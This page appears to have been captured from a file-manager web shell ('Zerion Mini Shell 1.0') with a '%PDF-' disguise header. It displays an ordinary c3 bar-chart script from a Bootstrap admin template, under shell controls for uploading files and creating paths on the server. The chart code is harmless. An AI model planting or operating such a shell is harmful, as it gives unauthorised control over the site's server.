%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/workflow/src/public/app-assets/js/scripts/charts/c3/bar-pie/
Upload File :
Create Path :
Current File : /home/opti/workflow/src/public/app-assets/js/scripts/charts/c3/bar-pie/bar.js

/*=========================================================================================
    File Name: bar.js
    Description: c3 bar chart
    ----------------------------------------------------------------------------------------
    Item Name: Modern Admin - Clean Bootstrap 4 Dashboard HTML Template
    Version: 1.0
    Author: PIXINVENT
    Author URL: http://www.themeforest.net/user/pixinvent
==========================================================================================*/

// Bar chart
// ------------------------------
$(window).on("load", function(){

    // Callback that creates and populates a data table, instantiates the bar chart, passes in the data and draws it.
    var barChart = c3.generate({
        bindto: '#bar-chart',
        size: {height:400},
        color: {
            pattern: ['#E84A5F']
        },

        // Create the data table.
        data: {
            columns: [
                ['data1', 30, 200, 100, 400, 150, 250]
            ],
            type: 'bar'
        },
        axis: {
            rotated: true
        },
        grid: {
            y: {
                show: true
            }
        }
    });

    // Resize chart on sidebar width change
    $(".menu-toggle").on('click', function() {
        barChart.resize();
    });
});

Zerion Mini Shell 1.0